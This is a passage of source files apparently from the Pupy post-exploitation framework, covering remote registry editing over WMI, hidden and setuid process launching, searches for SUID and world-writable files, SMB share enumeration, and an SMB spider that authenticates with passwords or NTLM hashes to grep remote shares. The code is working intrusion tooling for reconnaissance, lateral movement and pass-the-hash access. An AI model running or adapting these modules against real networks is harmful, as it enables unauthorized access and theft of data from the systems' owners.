        host, port, user, domain, password, ntlm, timeout=timeout
    )

    if path is None:
        return [(
            True, unicode(item)
        ) for item in WELL_KNOWN_KEYS]

    try:
        tupleized = []

        with conninfo:
            iWbemServices = conninfo.create_wbem('//./root/cimv2')
            regprov, _ = iWbemServices.GetObject('StdRegprov')

            for item in Key(regprov, path):
                if type(item) == Key:
                    tupleized.append((True, unicode(item)))
                else:
                    tupleized.append((
                        False, item.parent, item.name,
                        item.value, item.type))

            return tuple(tupleized)

    except KeyError:
        return None


def set(
    host, port,
    user, domain,
    password, ntlm,
        path, name, value, create, timeout=30):

    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    try:
        with conninfo:
            iWbemServices = conninfo.create_wbem('//./root/cimv2')
            regprov, _ = iWbemServices.GetObject('StdRegprov')

            k = Key(regprov, path)
            try:
                old_value = k[name]
                if old_value.type in (REG_DWORD, REG_DWORD_LITTLE_ENDIAN):
                    if not isinstance(value, (int, long)):
                        value = int(value)
            except KeyError:
                pass

            k[name] = value
            return True

    except KeyError:
        return False


def get(
    host, port,
    user, domain,
    password, ntlm,
        path, name, timeout=30):

    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    try:
        with conninfo:
            iWbemServices = conninfo.create_wbem('//./root/cimv2')
            regprov, _ = iWbemServices.GetObject('StdRegprov')

            return Key(regprov, path)[name].value
    except KeyError:
        return None


def rm(
    host, port,
    user, domain,
    password, ntlm,
        path, name, timeout=30):

    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    try:
        with conninfo:
            iWbemServices = conninfo.create_wbem('//./root/cimv2')
            regprov, _ = iWbemServices.GetObject('StdRegprov')

            del Key(regprov, path)[name]
            return True

    except KeyError:
        return False


================================================
FILE: pupy/packages/all/pupyutils/safepopen.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['SafePopen']

import threading
import subprocess
import sys
import os
import struct
import errno

if sys.version_info.major > 2:
    from queue import Queue, Empty
else:
    from Queue import Queue, Empty

from io import open
from pupy.network.lib.pupyrpc import nowait

ON_POSIX = 'posix' in sys.builtin_module_names
DETACHED_PROCESS = 0x00000008


def read_pipe(queue, pipe, bufsize):
    completed = False
    returncode = None

    while not completed:
        try:
            returncode = pipe.poll()
            completed = returncode is not None
        except Exception:
            continue

        try:
            if bufsize:
                data = pipe.stdout.read() \
                  if completed else pipe.stdout.readline(bufsize)
            else:
                data = pipe.stdout.read(1)
        except Exception:
            returncode = pipe.poll()
            break

        queue.put(data)

    queue.put(returncode)


def prepare(suid):
    import pwd

    if suid is not None:
        try:
            if not type(suid) in (int, long):
                userinfo = pwd.getpwnam(suid)
                suid = userinfo.pw_uid
                sgid = userinfo.pw_gid
            else:
                userinfo = pwd.getpwuid(suid)
                sgid = userinfo.pw_gid
        except Exception:
            pass

        try:
            path = os.ttyname(sys.stdin.fileno())
            os.chown(path, suid, sgid)
        except Exception:
            pass

        try:
            os.initgroups(userinfo.pw_name, sgid)
            os.chdir(userinfo.pw_dir)
        except Exception:
            pass

        try:
            if hasattr(os, 'setresuid'):
                os.setresgid(suid, suid, sgid)
                os.setresuid(suid, suid, sgid)
            else:
                euid = os.geteuid()
                if euid != 0:
                    os.seteuid(0)
                    os.setegid(0)

                os.setgid(suid)
                os.setuid(suid)

        except Exception:
            pass

    os.setsid()


class SafePopen(object):
    def __init__(self, *popen_args, **popen_kwargs):
        self._popen_args = popen_args
        self._interactive = popen_kwargs.pop('interactive', False)
        self._detached = popen_kwargs.pop('detached', False)
        self._stdin_data = popen_kwargs.pop('stdin_data', None)
        self._suid = popen_kwargs.pop('suid', None)

        if self._detached:
            self._interactive = False

        if not ON_POSIX:
            self._suid = None

        self._popen_kwargs = dict(popen_kwargs)

        self._reader = None
        self._pipe = None
        self._bufsize = 8196

        if self._interactive:
            self._bufsize = 0

        self.returncode = None

        if hasattr(subprocess, 'STARTUPINFO'):
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW

            self._popen_kwargs.update({
                'startupinfo': startupinfo,
                'creationflags': subprocess.CREATE_NEW_PROCESS_GROUP
            })

        if not self._detached and 'stderr' not in self._popen_kwargs:
            self._popen_kwargs['stderr'] = subprocess.STDOUT

    def _execute(self, read_cb, close_cb):
        returncode = None
        need_fork = False

        try:
            kwargs = self._popen_kwargs
            # Setup some required arguments
            kwargs.update({
                'bufsize': self._bufsize,
                'close_fds': ON_POSIX
            })

            if not self._detached:
                kwargs.update({
                    'stdin': subprocess.PIPE,
                    'stdout': subprocess.PIPE,
                })

            elif 'creationflags' in kwargs:
                kwargs['creationflags'] |= DETACHED_PROCESS
                for arg in ('stderr', 'stdin', 'stdout'):
                    if arg in kwargs:
                        del kwargs[arg]
            else:
                need_fork = True
                devnull = open(os.devnull, 'ab')
                kwargs.update({
                    'stdout': devnull,
                    'stderr': devnull,
                })

            if self._suid:
                kwargs.update({
                    'preexec_fn': lambda: prepare(self._suid)
                })

            if need_fork:
                p_read, p_write = os.pipe()
                pid = os.fork()
                if pid == 0:
                    os.close(p_read)

                    if 'preexec_fn' not in kwargs:
                        kwargs['preexec_fn'] = os.setsid

                    try:
                        self._pipe = subprocess.Popen(
                            *self._popen_args,
                            **kwargs
                        )

                        os.write(p_write, struct.pack('i', self._pipe.poll() or 0))

                    except OSError as e:
                        os.write(p_write, struct.pack('i', e.errno))

                    except Exception as e:
                        os.write(p_write, struct.pack('i', 1))

                    finally:
                        os.close(p_write)

                    os._exit(0)

                else:
                    os.close(p_write)
                    returncode, = struct.unpack('i', os.read(p_read, 4))
                    os.waitpid(pid, 0)

            else:
                self._pipe = subprocess.Popen(
                    *self._popen_args,
                    **kwargs
                )

            if self._pipe and self._pipe.stdin:
                if self._stdin_data:
                    self._pipe.stdin.write(self._stdin_data)
                    self._pipe.stdin.flush()

                if not self._interactive:
                    self._pipe.stdin.close()

        except OSError as e:
            if read_cb:
                read_cb("[ LAUNCH ERROR: {} ]\n".format(e.strerror))

            try:
                returncode = self._pipe.poll()
            except Exception:
                pass

            self.returncode = returncode if returncode is not None else -e.errno
            if close_cb:
                close_cb()
                return

        except Exception as e:
            if read_cb:
                read_cb("[ UNKNOWN ERROR: {} ]\n".format(e))

            try:
                returncode = self._pipe.poll()
            except Exception:
                pass

            self.returncode = returncode if returncode is not None else -1
            if close_cb:
                close_cb()
                return

        if self._detached:
            if self._pipe:
                self.returncode = self._pipe.poll()
            else:
                self.returncode = returncode or None

            if close_cb:
                close_cb()
            return

        queue = Queue()
        self._reader = threading.Thread(
            target=read_pipe,
            args=(queue, self._pipe, self._bufsize)
        )
        self._reader.start()

        while True:
            data = []
            r = queue.get()
            while not type(r) == int:
                data.append(r)
                if queue.empty():
                    break
                else:
                    r = queue.get()

            if data and read_cb:
                read_cb(b''.join(data))

            if type(r) == int:
                self.returncode = r
                break

        if close_cb:
            close_cb()

    def execute(self, close_cb, read_cb=None):
        if read_cb:
            read_cb = nowait(read_cb)

        if close_cb:
            close_cb = nowait(close_cb)

        t = threading.Thread(target=self._execute, args=(read_cb, close_cb))
        t.daemon = True
        t.start()

    def get_returncode(self):
        return errno.errorcode.get(
            self.returncode, self.returncode
        )

    def terminate(self):
        if not self.returncode and self._pipe:
            try:
                self._pipe.terminate()
            except:
                pass

    def write(self, data):
        if self.returncode or not self._pipe or not self._interactive:
            return

        self._pipe.stdin.write(data)
        self._pipe.stdin.flush()


def safe_exec(read_cb, close_cb, args, kwargs):
    kwargs = dict(kwargs)

    sfp = SafePopen(args, **kwargs)
    sfp.execute(close_cb, read_cb)

    return sfp.terminate, sfp.get_returncode


def check_output(cmdline, shell=True, env=None, encoding=None, suid=None):
    args = {
        'shell': shell,
        'stdin': subprocess.PIPE,
        'stdout': subprocess.PIPE,
        'stderr': subprocess.STDOUT,
        'universal_newlines': True,
        'env': env,
    }

    if ON_POSIX and suid:
        args['preexec_fn'] = lambda: prepare(suid)

    p = subprocess.Popen(
        cmdline,
        **args
    )

    complete = [False]

    def get_data():
        if complete[0]:
            return ''

        stdout, stderr = p.communicate()
        complete[0] = True

        if encoding:
            stdout = stdout.decode(encoding, errors='replace')

        retcode = p.poll()
        return stdout, retcode

    return p.terminate, get_data


================================================
FILE: pupy/packages/all/pupyutils/search.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from scandir import scandir
if scandir is None:
    from scandir import scandir_generic as scandir

import os
import re
import sys

import threading

import errno
import traceback

from uuid import uuid4

from zipfile import ZipFile, is_zipfile
from tarfile import is_tarfile
from tarfile import open as open_tarfile

from fsutils import uidgid, username_to_uid, groupname_to_gid, has_xattrs

from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib.convcompat import (
    is_binary, try_as_unicode_string, fs_as_unicode_string, filter_strings
)

if sys.version_info.major > 2:
    getcwd = os.getcwd
    basestring = str
else:
    getcwd = os.getcwdu

PERMISSION_ERRORS = [
    getattr(errno, x) for x in ('EPERM', 'EACCESS') if hasattr(errno, x)
]

SEARCH_WINDOW_SIZE = 32768

OWAW_PROBE_NAME = str(uuid4())


def _make_exception(exception, filepath):
    setattr(exception, 'filename', filepath)
    setattr(exception, 'exc', (
        sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2]
    ))
    return filepath


class Search(object):
    def __init__(
        self, path,
        strings=(), max_size=20000000, root_path='.', no_content=False,
        case=False, binary=False, follow_symlinks=False, terminate=None,
        same_fs=True, search_in_archives=False, content_only=False,
        suid=False, sgid=False, user=False, group=False,
        owaw=False, newer=None, older=None, xattr=False
    ):

        self.max_size = int(max_size)
        self.follow_symlinks = follow_symlinks
        self.no_content = no_content
        self.binary = binary
        self.case = case
        self.same_fs = same_fs
        self.search_in_archives = search_in_archives
        self.content_only = content_only if strings else False

        self.suid = suid
        self.sgid = sgid
        self.user = username_to_uid(user) if user else None
        self.group = groupname_to_gid(group) if group else None
        self.owaw = owaw
        self.newer = newer
        self.older = older
        self.xattr = xattr

        if self.case:
            i = re.IGNORECASE | re.UNICODE
        else:
            i = re.UNICODE

        path = fs_as_unicode_string(path)
        root_path = fs_as_unicode_string(root_path)

        path = os.path.expandvars(os.path.expanduser(path))

        if os.path.isdir(path):
            root_path = path
            self.name = None
            self.path = None
        elif path.startswith(os.path.sep):
            root_path = os.path.dirname(path)
            self.name = re.compile(os.path.basename(path), i)
            self.path = None
        elif os.path.sep in path:
            self.path = re.compile(path, i)
            self.name = None
        else:
            self.name = re.compile(path, i)
            self.path = None

        if strings:
            self.strings = [
                re.compile(
                    s, i
                ) for s in strings
            ]

        if self.xattr and self.xattr is not True:
            self.xattr = re.compile(self.xattr, i)

        self.terminate = terminate

        if root_path == '.':
            self.root_path = getcwd()
        else:
            self.root_path = root_path

        if self.same_fs:
            self.same_fs = os.stat(self.root_path).st_dev

        self.extended = any([
            self.xattr, self.suid, self.sgid,
            self.user, self.group, self.owaw,
            self.newer, self.older
        ])

    def search_string_in_fileobj(self, fileobj, find_all=False, filename=None):
        try:
            offset = 0

            if self.binary:
                prev = b''
            else:
                prev = ''

            found = False

            while offset < self.max_size and not found and not (
                    self.terminate and self.terminate.is_set()):

                chunk = fileobj.read(SEARCH_WINDOW_SIZE)

                if not self.binary:
                    try:
                        chunk = try_as_unicode_string(chunk)
                    except UnicodeError:
                        return

                    if is_binary(chunk):
                        return

                for s in self.strings:
                    for match in s.finditer(prev + chunk):
                        yield match.group()

                        if not find_all:
                            found = True
                            break

                    if found:
                        break

                if not chunk:
                    break

                prev = chunk
                offset += len(chunk)

        except IOError as e:
            if e.errno in PERMISSION_ERRORS:
                return

        except Exception as e:
            yield _make_exception(e, filename)

    def search_string(self, path, find_all=False):
        try:
            with open(path, 'rb') as f:
                for result in self.search_string_in_fileobj(
                        f, find_all, filename=path):
                    yield result

        except IOError as e:
            if e.errno in PERMISSION_ERRORS:
                return

        except Exception as e:
            yield _make_exception(e, path)

    def filter_extended(self, item):
        if not self.extended:
            return True

        path = item.path

        if self.xattr:
            if self.xattr is True:
                if has_xattrs(path):
                    return True
            elif any([self.xattr.match(x) for x in has_xattrs(path)]):
                return True

        if self.suid or self.sgid and sys.platform != 'win32':
            if self.suid and item.stat().st_mode & 0o4000:
                return True

            if self.sgid and item.stat().st_mode & 0o2000:
                return True

        if self.user or self.group:
            uid, gid = uidgid(path, item.stat(), as_text=False)
            if self.user and self.user == uid or \
                    self.group and self.group == gid:
                return True

        if self.owaw:
            if item.is_dir():
                try:
                    tmp_file = os.path.join(path, OWAW_PROBE_NAME)
                    f = open(tmp_file, 'wb')
                    f.close()
                    os.unlink(tmp_file)
                    return True

                except (OSError, IOError):
                    pass

            elif item.is_file():
                try:
                    f = open(path, 'ab')
                    f.close()
                    return True

                except (OSError, IOError):
                    pass

        if self.newer and item.stat().st_mtime > self.newer:
            return True

        if self.older and item.stat().st_mtime < self.older:
            return True

        return False

    def search_in_archive(self, path):
        any_file = not self.name or self.path

        # We don't support extended search in archives

        if is_zipfile(path):
            zf = ZipFile(path)
            try:
                for item in zf.infolist():
                    if self.terminate and self.terminate.is_set():
                        break

                    name = os.path.basename(item.filename)

                    if (self.name and self.name.match(name)) or \
                        (self.path and self.path.match(item.filename)) or \
                            any_file:

                        try:
                            archive_filename = item.filename.decode(
                                sys.getfilesystemencoding()
                            )
                        except UnicodeDecodeError:
                            archive_filename = item.filename

                        if self.strings:
                            for match in self.search_string_in_fileobj(
                                zf.open(item),
                                    filename='zip:'+path+':'+item.filename):
                                yield ('zip:'+path+':'+archive_filename, match)

                        elif not any_file:
                            yield 'zip:'+path+':'+archive_filename
            finally:
                zf.close()

        elif is_tarfile(path):
            tf = open_tarfile(path, 'r:*')
            try:
                for item in tf:
                    if self.terminate and self.terminate.is_set():
                        break

                    name = os.path.basename(item.name)
                    if (self.name and self.name.match(name)) or \
                        (self.path and self.path.match(item.name)) or \
                            any_file:

                        try:
                            archive_filename = item.name.decode(
                                sys.getfilesystemencoding()
                            )
                        except UnicodeDecodeError:
                            archive_filename = item.name

                        if self.strings and item.isfile():
                            pass
                        elif not any_file:
                            yield 'tar:'+path+':'+archive_filename
                        else:
                            continue

                        for match in self.search_string_in_fileobj(
                            tf.extractfile(item),
                                filename='tar:+'+archive_filename+':'+path):

                            yield ('tar:'+path+':'+archive_filename, match)

            finally:
                tf.close()

    def scanwalk(self, path, followlinks=False):
        ''' lists of DirEntries instead of lists of strings '''

        try:
            for entry in scandir(path):
                if self.terminate and self.terminate.is_set():
                    break

                any_file = not self.name or self.path

                if (
                    (self.name and self.name.match(entry.name)) or
                    (self.path and self.path.match(entry.path)) or
                        any_file):

                    try:
                        if not self.strings or not (
                                self.strings and entry.is_file()):
                            if not any_file and self.filter_extended(entry):
                                yield entry.path
                        else:
                            size = entry.stat().st_size
                            if size > self.max_size:
                                continue

                            if not self.filter_extended(entry):
                                continue

                            for s in self.search_string(entry.path):
                                if s:
                                    if isinstance(s, Exception):
                                        yield s

                                    elif self.no_content:
                                        if self.filter_extended(entry):
                                            yield entry.path
                                            break

                                    else:
                                        if self.filter_extended(entry):
                                            yield (entry.path, s)
                    except IOError as e:
                        if e.errno in PERMISSION_ERRORS:
                            continue

                    except Exception as e:
                        yield _make_exception(e, entry.path)

                try:
                    if entry.is_dir(follow_symlinks=followlinks):
                        if not self.same_fs or \
                                self.same_fs == entry.stat().st_dev:
                            for res in self.scanwalk(entry.path):
                                yield res

                    elif self.search_in_archives and entry.is_file():
                        for res in self.search_in_archive(entry.path):
                            yield res

                except IOError as e:
                    if e.errno in PERMISSION_ERRORS:
                        continue

                except Exception as e:
                    yield _make_exception(e, entry.path)

        except IOError as e:
            if e.errno in PERMISSION_ERRORS:
                return

        # try / except used for permission denied
        except Exception as e:
            yield _make_exception(e, path)

    def run(self):
        if os.path.isfile(self.root_path):
            for res in self.search_string(self.root_path, find_all=True):
                try:
                    yield (self.root_path, res)
                except Exception:
                    pass

            if self.search_in_archives:
                for res in self.search_in_archive(self.root_path):
                    if self.content_only and type(res) is not tuple:
                        continue

                    try:
                        yield res
                    except Exception:
                        pass

        else:
            for files in self.scanwalk(
                    self.root_path, followlinks=self.follow_symlinks):
                if self.content_only and type(files) is not tuple:
                    continue

                yield files

    def _run_thread(self, on_data, on_completed, on_error):
        previous_result = None

        for result in self.run():
            if isinstance(result, Exception):
                if on_error:
                    if isinstance(result, OSError):
                        if result.errno not in (errno.EPERM, errno.EACCES):
                            on_error(
                                result.filename + ': ' +
                                ' '.join(filter_strings(result.args))
                            )
                    elif isinstance(result, UnicodeError):
                        on_error(
                            'Invalid encoding: {}'.format(repr(result.args[1]))
                        )
                    else:
                        try:
                            on_error(
                                'Scanwalk exception: {}:{}:{}'.format(
                                    type(result), result,
                                    '\n'.join(
                                        traceback.format_exception(*result.exc)
                                    )
                                )
                            )
                        except Exception as e:
                            try:
                                on_error(
                                    'Scanwalk exception '
                                    '(module): ({})'.format(e)
                                )
                            except Exception:
                                pass

                            break

                continue

            try:
                if result != previous_result:
                    on_data(result)
                    previous_result = result
            except Exception as e:
                try:
                    on_error('Scanwalk exception (module): {}'.format(e))
                except Exception:
                    pass

                break

        on_completed()

    def stop(self):
        if self.terminate:
            self.terminate.set()

    def run_cb(self, on_data, on_completed, on_error=None):
        if not self.terminate:
            self.terminate = threading.Event()

        on_completed = nowait(on_completed)

        search = threading.Thread(
            target=self._run_thread, args=(
                on_data, on_completed, on_error
            )
        )

        search.daemon = False
        search.start()

    def run_cbs(self, on_data, on_completed, on_error=None):
        if not self.terminate:
            self.terminate = threading.Event()

        search = threading.Thread(
            target=self._run_thread, args=(
                on_data, on_completed, on_error
            )
        )

        search.daemon = False
        search.start()


================================================
FILE: pupy/packages/all/pupyutils/share_enum.py
================================================
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from impacket.smbconnection import SMBConnection, SessionError
import ntpath
import random
import string

PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))

def _listShares(smb, passwd):
    permissions = dict()
    root = ntpath.normpath("\\{}".format(PERM_DIR))

    for share in smb.listShares():
        share_name = str(share['shi1_netname'][:-1])
        permissions[share_name] = "NO ACCESS"

        try:
            if smb.listPath(share_name, '', passwd):
                permissions[share_name] = "READ"
        except:
            pass

        try:
            if smb.createDirectory(share_name, root):
                smb.deleteDirectory(share_name, root)
                permissions[share_name] = "READ, WRITE"
        except:
            pass

    return permissions

def connect(host, port, user, passwd, hash, domain="workgroup"):
    result = {}
    try:
        smb = SMBConnection(host, host, None, port, timeout=2)
        guest = False

        try:
            smb.login('', '')
            guest = True
            result.update({
                'auth': 'guest',
            })
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in str(e):
                pass

        try:
            lmhash = ''
            nthash = ''
            if hash:
                lmhash, nthash = hash.split(':')

            if user and (passwd or lmhash or nthash):
                smb.login(user, passwd, domain, lmhash, nthash)

                if not guest:
                    result.update({
                        'auth': user,
                    })

            result.update({
                'os': smb.getServerOS(),
                'name': smb.getServerName(),
                'shares': [],
            })

            for share, perm in _listShares(smb, passwd).items():
                result['shares'].append((share, perm))

            smb.logoff()

        except SessionError as e:
            result['error'] = str(e)

        except Exception as e:
            result['error'] = str(e)

    except Exception as e:
        result['error'] = str(e)

    return result


================================================
FILE: pupy/packages/all/pupyutils/smbspider.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb3structs import FILE_READ_DATA

import re
import os


class RemoteFile(object):
    __slots__ = (
        '__smbConnection', '__access', '__fileName',
        '__tid', '__fid', '__currentOffset'
    )

    def __init__(
        self, smbConnection, fileName,
            share='ADMIN$', access=FILE_READ_DATA):

        self.__smbConnection = smbConnection
        self.__access = access
        self.__fileName = fileName
        self.__tid = self.__smbConnection.connectTree(share)
        self.__fid = None
        self.__currentOffset = 0

    def open(self):
        self.__fid = self.__smbConnection.openFile(
            self.__tid, self.__fileName, desiredAccess= self.__access
        )

    def read(self, bytesToRead):
        if bytesToRead > 0:
            data = self.__smbConnection.readFile(
                self.__tid, self.__fid, self.__currentOffset, bytesToRead
            )
            self.__currentOffset += len(data)
            return data

        return ''

    def close(self):
        if self.__fid is not None:
            self.__smbConnection.closeFile(self.__tid, self.__fid)
            self.__fid = None

class SMBSpider:
    def __init__(self, _host, _domain, _port, _user, _passwd, _hashes, _check_content, _share, search_str, _exts, _max_size):

        self.smbconnection = None
        self.host = _host
        self.domain = _domain
        self.port = _port
        self.user = _user
        self.passwd = _passwd
        self.hashes = _hashes
        self.search_str = search_str
        self.check_content = _check_content
        self.share = _share
        self.max_size = _max_size
        self.files_extensions = _exts

    def login(self):
        try:
            self.smbconnection = SMBConnection(self.host, self.host, None, self.port, timeout=2)
            try:
                self.smbconnection.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in str(e):
                    pass

            print("[+] {}:{} is running {} (name:{}) (domain:{})".format(self.host, self.port, self.smbconnection.getServerOS(), self.smbconnection.getServerName(), self.domain))

            lmhash = ''
            nthash = ''
            if self.hashes:
                lmhash, nthash = self.hashes.split(':')

            self.smbconnection.login(self.user, self.passwd, self.domain, lmhash, nthash)
            return True
        except Exception as e:
            print("[!] {}".format(e))
            return False

    def logoff(self):
        self.smbconnection.logoff()

    def set_share(self, _share):
        self.share = _share

    def list_share(self):
        share_names = []
        for share in self.smbconnection.listShares():
            share_names.append(str(share['shi1_netname'][:-1]))
        return share_names

    def scanwalk(self, subfolder, depth):
        if depth == 0:
            return

        if subfolder == '' or subfolder == '.':
            subfolder = '*'
        elif subfolder.startswith('*/'):
            subfolder = subfolder[2:] + '/*'
        else:
            subfolder = subfolder.replace('/*/', '/') + '/*'

        for result in self.smbconnection.listPath(self.share, subfolder):

            if result.get_longname() not in ['.', '..']:

                # check if the file contains our pattern
                for s in self.search_str:
                    if result.get_longname().lower().find(s) != -1:
                        yield '%s' % os.path.join(subfolder, result.get_longname())

                # if directory, be recursive
                if result.is_directory():
                    for res in self.scanwalk(subfolder.replace('*', '') + result.get_longname(), depth-1):
                        yield res

                # check inside the file to found our pattern
                elif not result.is_directory():
                    if self.max_size > result.get_filesize():
                        if result.get_longname().endswith(self.files_extensions):
                            if self.check_content:
                                for res in self.search_string(os.path.join(subfolder, result.get_longname())):
                                    try:
                                        res = res.encode('utf-8')
                                        yield '%s' % res
                                    except:
                                        pass

    def search_string(self, path):
        path = path.replace('*', '')
        try:
            rfile = RemoteFile(
                                self.smbconnection,
                                path,
                                self.share,
                                access = FILE_READ_DATA
                            )
            rfile.open()
            while True:
                buffer = rfile.read(4096)
                if not buffer:
                    break

                for string in self.search_str:
                    indexes = [m.start() for m in re.finditer(string, buffer, flags=re.IGNORECASE)]
                    for i in indexes:
                        r = "{share} {path} > {content}".format(
                                share=self.share, path=path, content=buffer[i:].strip().split('\n')[0]
                            )
                        yield r

            rfile.close()

        except SessionError as e:
            if 'STATUS_SHARING_VIOLATION' in str(e):
                pass

        except Exception as e:
            print(e)


class Spider():
    def __init__(self, hosts, _domain, _port, _user, _passwd, _hashes, _check_content, _share, _search_str, _exts, _max_size, _folder_to_spider, _depth):
        self.hosts = hosts

        self.domain = _domain
        self.port = _port
        self.user = _user
        self.passwd = _passwd
        self.hashes = _hashes
        self.search_str = _search_str
        self.check_content = _check_content
        self.share = _share
        self.max_size = _max_size
        self.files_extensions = _exts
        self.folder_to_spider = _folder_to_spider
        self.depth = _depth

    def spider_an_host(self, host):
        smbspider = SMBSpider(host, self.domain, self.port, self.user, self.passwd, self.hashes, self.check_content, self.share, self.search_str, self.files_extensions, self.max_size)
        logged = smbspider.login()

        if logged:
            if self.share == 'all':
                shares = smbspider.list_share()
            else:
                shares = [self.share]

            for share in shares:
                smbspider.set_share(share)
                try:
                    for res in smbspider.scanwalk(self.folder_to_spider, int(self.depth)):
                        path = "%s/%s/%s" % (host, share, res)
                        path = path.replace('*/', '/').replace('//', '/')
                        yield path
                except:
                    pass

            smbspider.logoff()

    def spider_all_hosts(self):
        for host in self.hosts:
            for files in self.spider_an_host(host):
                yield files

# Using thread = TO DO using yield
# class WorkerThread(threading.Thread) :

#     def __init__(self, queue, tid, hosts, _domain, _port, _user, _passwd, _hashes, _check_content, _share, _search_str, _exts, _max_size, _folder_to_spider, _depth) :
#         threading.Thread.__init__(self)
#         self.queue = queue
#         self.tid = tid

#         self.hosts = hosts

#         self.domain = _domain
#         self.port = _port
#         self.user = _user
#         self.passwd = _passwd
#         self.hashes = _hashes
#         self.search_str = search_str
#         self.check_content = _check_content
#         self.share = _share
#         self.max_size = _max_size
#         self.files_extensions = _exts
#         self.folder_to_spider = _folder_to_spider
#         self.depth = _depth

#     def spider_an_host(self, host):
#         smbspider = SMBSpider(host, self.domain, self.port, self.user, self.passwd, self.hashes, self.check_content, self.share, self.search_str, self.files_extensions, self.max_size)
#         logged = smbspider.login()

#         if logged:
#             if self.share == 'all':
#                 shares = smbspider.list_share()
#             else:
#                 shares = [self.share]

#             for share in shares:
#                 smbspider.set_share(share)
#                 try:
#                     for res in smbspider.scanwalk(self.folder_to_spider, int(self.depth)):
#                         res = res.replace('*/', '/').replace('//', '/')
#                         yield "%s/%s/%s" % (host, share, res)
#                 except Exception, e:
#                     if "STATUS_ACCESS_DENIED" in e.message:
#                         pass

#             smbspider.logoff()

#     def run(self):
#         for host in self.hosts:
#             try :
#                 host = self.queue.get(timeout=1)
#             except Queue.Empty:
#                 return

#             for r in self.spider_an_host(host):
#                 print '%s' % r

#             self.queue.task_done()

# def smbspider(hosts, domain, port, user, passwd, hashes, check_content, share, search_str, files_extensions, max_size, folder_to_spider, depth):
#     queue = Queue.Queue()
#     threads = []

#     nb_thread = 5
#     for i in range(1, nb_thread + 1):
#         worker = WorkerThread(queue, i, hosts, domain, port, user, passwd, hashes, check_content, share, search_str, files_extensions, max_size, folder_to_spider, depth)
#         worker.setDaemon(True)
#         worker.start()
#         threads.append(worker)

#     for j in hosts:
#         queue.put(j)

#     queue.join()

#     # wait for all threads to exit
#     for item in threads:
#         item.join()

# smbspider(hosts, domain, port, user, passwd, hashes, check_content, share, search_str, exts, max_size, folder_to_spider, depth)


================================================
FILE: pupy/packages/all/pupyutils/users.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import getpass

from io import open

from pupy.network.lib.convcompat import fs_as_unicode_string


if os.name == 'nt':
    import win32net
    import win32api

    def users():
        result = []
        users, _, _ = win32net.NetUserEnum(None, 3)
        current = win32api.GetUserName()

        UF_ACCOUNT_DISABLE = 2
        UF_LOCKOUT = 16

        for user in users:
            if user['flags'] & (UF_ACCOUNT_DISABLE | UF_LOCKOUT):
                continue

            result.append({
                'name': fs_as_unicode_string(user['name']),
                'groups': [
                    fs_as_unicode_string(x)
                    for x in win32net.NetUserGetLocalGroups(None, user['name'])
                ],
                'admin': user['priv'] == 2,
                'home': (
                    '\\'.join((
                        fs_as_unicode_string(user['logon_server']),
                        fs_as_unicode_string(user['home_dir'])
                    ))
                ) if user['home_dir'] else 'default'
            })

        return {
            'current': current,
            'users': result
        }

else:
    import pwd
    import grp

    def users():
        try:
            shells = set(
                fs_as_unicode_string(
                    y.strip()
                ) for x in open('/etc/shells').readlines()
                if x.startswith('/') for y in x.split()
            )
        except:
            shells = ()

        current = fs_as_unicode_string(getpass.getuser())
        groups = grp.getgrall()

        result = []

        for user in pwd.getpwall():
            if not user.pw_shell:
                continue
            elif shells:
                if user.pw_shell not in shells:
                    continue
            elif user.pw_shell.split('/')[-1] in ('nologin','false'):
                continue

            result.append({
                'name': fs_as_unicode_string(user.pw_name),
                'groups': [
                    fs_as_unicode_string(x.gr_name)
                    for x in groups if user.pw_name in x.gr_mem
                ],
                'admin': user.pw_uid == 0,
                'home': fs_as_unicode_string(user.pw_dir)
            })

        return {
            'current': current,
            'users': result
        }


================================================
FILE: pupy/packages/all/pupyutils/zip.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import zipfile

def try_unicode(path):
    if isinstance(path, bytes):
        try:
            return path.decode('utf-8')
        except UnicodeDecodeError:
            pass

    return path


def zip(src, dst):
    src = try_unicode(src)

    if not os.path.exists(src):
        return False, "The file \"%s\" does not exists" % src

    isDir = False
    if os.path.isdir(src):
        isDir = True

    if not dst:
        if isDir:
            d = src.split(os.sep)
            dst = d[len(d)-1] + '.zip'
        else:
            dst = src + '.zip'

    dst = try_unicode(dst)

    # To not overwrite an existing file
    if os.path.exists(dst):
        return False, "The destination file \"%s\" already exists" % dst

    # Zip process
    zf = zipfile.ZipFile(dst, "w", zipfile.ZIP_DEFLATED)
    if isDir:
        abs_src = os.path.abspath(src)
        for dirname, subdirs, files in os.walk(src):
            for filename in files:
                absname = os.path.abspath(os.path.join(dirname, filename))
                arcname = absname[len(abs_src) + 1:]
                zf.write(absname, arcname)
    else:
        zf.write(src)

    zf.close()
    return True, "File zipped correctly: \"%s\"" % dst


def unzip(src, dst):
    src = try_unicode(src)

    if not os.path.exists(src):
        return False, "The file \"%s\" does not exists" % src

    if not dst:
        d = src.split(os.sep)
        dst = d[len(d)-1].replace('.zip', '')

    dst = try_unicode(dst)

    # To not overwrite an existing file
    if os.path.exists(dst):
        return False, "The destination file \"%s\" already exists" % dst

    if zipfile.is_zipfile(src):
        with zipfile.ZipFile(src, "r") as z:
            z.extractall(dst)
        return True, "File unzipped correctly: \"%s\"" % dst
    else:
